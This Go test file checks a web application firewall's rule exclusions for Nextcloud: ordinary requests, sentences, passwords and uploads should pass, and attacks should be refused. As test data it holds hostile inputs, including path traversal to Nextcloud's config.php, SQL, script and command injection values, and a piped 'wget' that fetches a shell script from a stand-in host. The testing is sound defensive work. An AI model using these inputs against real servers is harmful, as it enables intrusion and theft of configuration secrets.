package coreruleset_test import ( "encoding/json" "html" "maps" "net/http" "net/url" "strings" "testing" "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const nextcloudThreshold = 5 // nextcloudSignIn is the sign-in page. const nextcloudSignIn = "/login" // nextcloudShare is a public share's page. const nextcloudShare = "/s/AbCdEfGhIjKlMnO" // nextcloudPreview is a public share's preview of a file. const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO" // nextcloudUsers is the OCS API's list of accounts. const nextcloudUsers = "/ocs/v2.php/cloud/users" // nextcloudShares is the OCS API's list of shares. const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares" // nextcloudStatus is where the OCS API sets an account's status. const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom" // nextcloudFiles is the WebDAV folder of the account admin. const nextcloudFiles = "/remote.php/dav/files/admin/" // nextcloudSave is where the text editor saves a document. const nextcloudSave = "/apps/text/session/1/save" // The WebDAV methods the Files app's search and a comment's edit use, and // the method the sync client lists a folder with. const ( nextcloudSearch = "SEARCH" nextcloudPropPatch = "PROPPATCH" nextcloudPropFind = "PROPFIND" ) // nextcloudOther is a JSON field no exclusion names. const nextcloudOther = `{"other":"python3"}` func TestOrdinaryNextcloudRequestsPass(t *testing.T) { t.Parallel() wantRecordedRequestsPass(t, "nextcloud-requests.txt") } // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250 // and 932260, each on a path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list var nextcloudQueryFields = []string{ "/login?user=", "/login?redirect_url=", "/index.php/login?user=", "/apps/files/?dir=", "/apps/files/files/134?dir=", "/index.php/apps/files/?dir=", nextcloudPreview + "?file=", nextcloudShare + "/download?path=", nextcloudShare + "/download?path=%2F&files=", nextcloudUsers + "?search=", nextcloudUsers + "/details?search=", "/ocs/v2.php/cloud/groups?search=", "/ocs/v1.php/cloud/groups/details?search=", "/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=", nextcloudShares + "?path=", "/ocs/v2.php/search/providers/files/search?term=", "/ocs/v2.php/search/providers/files/search?term=x&from=", } // nextcloudFormFields are the form data fields that skip the four rules, each // on a path where it skips them, ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list var nextcloudFormFields = []struct{ target, field string }{ {nextcloudSignIn, "user="}, {nextcloudUsers, "userid="}, {nextcloudUsers, "displayName="}, {nextcloudUsers, "groups%5B%5D="}, {nextcloudUsers + "/admin", "value="}, {"/ocs/v2.php/cloud/groups", "groupid="}, {nextcloudShares, "path="}, {nextcloudShares, "label="}, {nextcloudShares, "shareWith="}, } // nextcloudBody is a form data, JSON or XML body, sent with its method to a // path. It holds %s, where a value goes, written as the body's type needs. type nextcloudBody struct{ method, target, contentType, body string } // nextcloudBodies are the JSON and XML fields that skip the four rules, each // on a path where it skips them. // //nolint:gochecknoglobals // a constant cannot be a list var nextcloudBodies = []nextcloudBody{ {http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`}, {http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`}, {http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`}, { http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"key":"headline","value":"%s"}`, }, {http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`}, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`}, { http.MethodPost, "/apps/theming/ajax/updateStylesheet", jsonBody, `{"setting":"slogan","value":"%s"}`, }, {http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`}, {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`}, { nextcloudSearch, "/remote.php/dav/", xmlBody, `` + `%%s%` + ``, }, } // nextcloudDocument is the text of a document the text editor saves, which // skips the rules for code blocks too. // //nolint:gochecknoglobals // a struct cannot be a constant var nextcloudDocument = nextcloudBody{ http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`, } // nextcloudTexts are the fields that hold what a person writes, which skip // the rules for sentences too: a document, a comment, a share's note and an // account's status. // //nolint:gochecknoglobals // a constant cannot be a list var nextcloudTexts = []nextcloudBody{ nextcloudDocument, {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`}, { nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody, `` + `%s` + ``, }, {http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`}, {http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`}, { http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1", formData, "note=%s", }, {http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`}, {http.MethodPut, nextcloudStatus, formData, "message=%s"}, } // nextcloudSentences are sentences recorded in the texts, which rules // refused there. // //nolint:gochecknoglobals // a constant cannot be a list var nextcloudSentences = []string{ "It is fixed; diff attached", "Run python3 or powershell; ls -la shows .htaccess", "We need more time; find the old notes first", "Tested on Windows; powershell works", } // nextcloudCodeBlock is a shell script in a code block of a document, as // recorded. const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" + "tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```" // nextcloudBodyScore returns the request that sends value, which is not // escaped, in sent's body, and the score crs gives it. func nextcloudBodyScore( t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string, ) (string, int) { t.Helper() switch sent.contentType { case formData: value = url.QueryEscape(value) case jsonBody: quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } value = string(quoted[1 : len(quoted)-1]) case xmlBody: value = html.EscapeString(value) } body := strings.Replace(sent.body, "%s", value, 1) r := request{sent.method, sent.target, []string{sent.contentType}} got, _ := inspectBody(t, crs, r, body) return sent.method + " " + sent.target + " " + body, got.Score } // nextcloudFieldScores returns the score that the Core Rule Set, reading // bodies, gives each request that sends value, a query value, in one of the // fields that skip the four rules, keyed by the request. func nextcloudFieldScores(t *testing.T, value string) map[string]int { t.Helper() crs := readingBodies(t) scores := map[string]int{} for _, target := range nextcloudQueryFields { scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score } for _, sent := range nextcloudFormFields { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+value) scores["POST "+sent.target+" "+sent.field+value] = got.Score } written, err := url.QueryUnescape(value) if err != nil { t.Fatal(err) } for _, sent := range nextcloudBodies { request, score := nextcloudBodyScore(t, crs, sent, written) scores[request] = score } return scores } // nextcloudTextScores returns the score that the Core Rule Set, reading // bodies, gives each request that sends text, which is not escaped, in one of // the texts, keyed by the request. func nextcloudTextScores(t *testing.T, text string) map[string]int { t.Helper() crs := readingBodies(t) scores := map[string]int{} for _, sent := range nextcloudTexts { request, score := nextcloudBodyScore(t, crs, sent, text) scores[request] = score } return scores } // nextcloudPasswordScore returns the score that the Core Rule Set, reading // bodies, gives signing in with value, a query value, as the password. func nextcloudPasswordScore(t *testing.T, value string) int { t.Helper() r := request{http.MethodPost, nextcloudSignIn, []string{formData}} got, _ := inspectBody(t, readingBodies(t), r, passwordField+value) return got.Score } func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() for _, value := range hardValues { for request, score := range nextcloudFieldScores(t, value) { if score >= nextcloudThreshold { t.Errorf("%s refused: %d", request, score) } } if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold { t.Errorf("password %s refused: %d", value, score) } } } func TestNextcloudPasswordPasses(t *testing.T) { t.Parallel() r := request{http.MethodPost, nextcloudSignIn, []string{formData}} wantRandomPasswordsPass(t, r, "password") wantPasswordAttacksPass(t, r, "password") wantPasswordAttacksRefused(t, r, "password") } func TestNextcloudSentencesPassInTheTexts(t *testing.T) { t.Parallel() for _, sentence := range nextcloudSentences { for request, score := range nextcloudTextScores(t, sentence) { if score >= nextcloudThreshold { t.Errorf("%s refused: %d", request, score) } } } document := "Backup steps:\n\n" + nextcloudCodeBlock request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document) if score >= nextcloudThreshold { t.Errorf("%s refused: %d", request, score) } } func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() for _, attack := range []string{ sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, } { written, err := url.QueryUnescape(attack) if err != nil { t.Fatal(err) } scores := nextcloudFieldScores(t, attack) maps.Copy(scores, nextcloudTextScores(t, written)) for request, score := range scores { if score < nextcloudThreshold { t.Errorf("%s let through: %d", request, score) } } } // A shell command after a ";" reaches Nextcloud only in the texts. for request, score := range nextcloudFieldScores(t, commandInjection) { if score < nextcloudThreshold { t.Errorf("%s let through: %d", request, score) } } if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold { t.Errorf("password %s let through: %d", commandInjection, score) } } func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) { t.Parallel() crs := atDefaults(t) cookie := func(value string) request { return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value) } for _, value := range hardValues { name, err := url.QueryUnescape(value) if err != nil { t.Fatal(err) } wantResult(t, crs, cookie(name), matched()) } // A cookie cannot hold a ";", so the command follows a "|" instead. for _, attack := range []string{ injection, "../../config/config.php", scriptTag, "x|wget http://example.com/x.sh", } { if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold { t.Errorf("nc_username=%s let through: %+v", attack, got) } } got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3")) if got.Score < nextcloudThreshold { t.Errorf("nc_other=python3 let through: %+v", got) } } func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, method := range []string{ nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT", nextcloudSearch, "LOCK", "UNLOCK", } { for _, target := range []string{ nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/", "/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/", } { wantResult(t, crs, request{method, target, nil}, matched()) } for _, target := range []string{ "/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/", } { wantResult(t, crs, request{method, target, nil}, matched(911100)) } } wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100)) } // nextcloudUploads are a JSON file and an XML file, as the Files app uploads // them, which rules refused when they read them as fields. // //nolint:gochecknoglobals // a constant cannot be a list var nextcloudUploads = []struct{ name, contentType, body string }{ {"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`}, {"logs.xml", xmlBody, "ls -la /var/log"}, } func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, upload := range nextcloudUploads { uploaded := request{ http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType}, } got, _ := inspectBody(t, crs, uploaded, upload.body) if got.Score >= nextcloudThreshold { t.Errorf("PUT %s refused: %+v", uploaded.target, got) } for _, refused := range []request{ // Elsewhere, or with another method, the body is read. {http.MethodPost, "/", uploaded.headers}, {http.MethodPut, "/apps/files/" + upload.name, uploaded.headers}, {http.MethodPost, uploaded.target, uploaded.headers}, // The query is still checked. {http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers}, } { got, _ := inspectBody(t, crs, refused, upload.body) if got.Score < nextcloudThreshold { t.Errorf("%s %s let through: %+v", refused.method, refused.target, got) } } } } func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) { t.Parallel() crs := atDefaults(t) methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"} for _, method := range methods { for _, target := range []string{ nextcloudFiles + "../../../config/config.php", nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php", } { got := inspect(t, crs, request{method, target, nil}) if got.Score < nextcloudThreshold { t.Errorf("%s %s let through: %+v", method, target, got) } } } } func TestNextcloudExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, refused := range []string{ "/?dir=python3", "/apps/other/?dir=python3", "/apps/files/?other=python3", "/login?other=python3", "/x/login?user=python3", nextcloudShare + "?files=powershell", "/?file=powershell", // Each public share path keeps the rules on the other's fields. nextcloudPreview + "?files=powershell", nextcloudShare + "/download?file=powershell", "/?search=python3", nextcloudUsers + "?other=python3", "/x/ocs/v2.php/cloud/users?search=python3", } { if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold { t.Errorf("%s let through: %+v", refused, got) } } for _, sent := range []nextcloudBody{ // A JSON field of the same name in the query keeps the rules. { http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3", jsonBody, `{"message":"python3"}`, }, { http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3", jsonBody, `{"value":"python3"}`, }, { http.MethodPost, nextcloudUsers + "?json.userid=python3", jsonBody, `{"userid":"python3"}`, }, { http.MethodPut, nextcloudShares + "/1?json.note=python3", jsonBody, `{"note":"python3"}`, }, { http.MethodPut, nextcloudStatus + "?json.message=python3", jsonBody, `{"message":"python3"}`, }, // Other JSON fields keep them. {http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther}, {http.MethodPost, nextcloudSave, jsonBody, nextcloudOther}, {http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther}, {http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther}, // A note or a status on another OCS path keeps them. {http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`}, {http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"}, // XML on another path, or with another method, keeps them. { nextcloudSearch, nextcloudFiles, xmlBody, `python3`, }, { nextcloudPropPatch, nextcloudFiles + "notes.txt", xmlBody, `python3`, }, { "REPORT", "/remote.php/dav/comments/files/1/2", xmlBody, `python3`, }, } { r := request{sent.method, sent.target, []string{sent.contentType}} got, _ := inspectBody(t, crs, r, sent.body) if got.Score < nextcloudThreshold { t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got) } } }